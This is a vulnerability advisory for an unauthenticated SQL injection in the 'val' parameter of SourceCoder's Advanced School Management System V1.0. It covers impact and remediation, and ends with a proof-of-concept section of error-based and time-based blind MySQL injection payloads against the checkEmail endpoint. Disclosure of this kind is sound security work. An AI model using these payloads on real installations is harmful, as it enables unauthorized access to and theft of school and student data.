# SourceCoder Advanced School Management System SQL Injection Vulnerability Summary ## Vulnerability Overview * **Product Name**: SourceCoder Advanced School Management System with Complete Features V1.0 * **Vulnerability Type**: SQL Injection * **Affected File**: `commonController.php` (line 85) * **Vulnerable Parameter**: `val` * **Root Cause**: An attacker injects malicious code into the `val` parameter, which is directly used in SQL queries without proper sanitization or validation. * **Exploitation Condition**: No login or authorization required for exploitation. ## Impact Scope * **Affected Version**: V1.0 * **Potential Harm**: Attackers can forge input values to manipulate SQL queries and perform unauthorized operations. This may lead to unauthorized database access, sensitive data leakage, data tampering, full system control, or even service disruption, posing a serious threat to system security and business continuity. ## Remediation Measures 1. **Use Prepared Statements and Parameter Binding**: Prepared statements prevent SQL injection by separating SQL code from user input data. 2. **Input Validation and Filtering**: Strictly validate and filter user input data to ensure it conforms to expected formats. 3. **Minimize Database User Privileges**: Ensure the database account used for connections has only the minimum necessary privileges. Avoid using accounts with high-level permissions (such as 'root' or 'admin') for routine operations. 4. **Regular Security Audits**: Conduct regular code and system security audits to promptly identify and fix potential security vulnerabilities. ## Vulnerability Exploitation Code (POC) **Payload:** ```text Parameter: #1* (URI) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?val=admin%40admin.c AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDOM]) Vector: AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDOM]) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://localhost:8888/SchoolManagementSystem/index.php/commonController/checkEmail?val=admin%40admin.c AND (SELECT [RANDNUM] FROM (SELECT(SLEEP(5)))x) IF([INFERENCE],0,SLEEP(5)))[[RANDOMSTR]] Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP(5)))x) IF([INFERENCE],0,SLEEP(5)))[[RANDOMSTR]] ```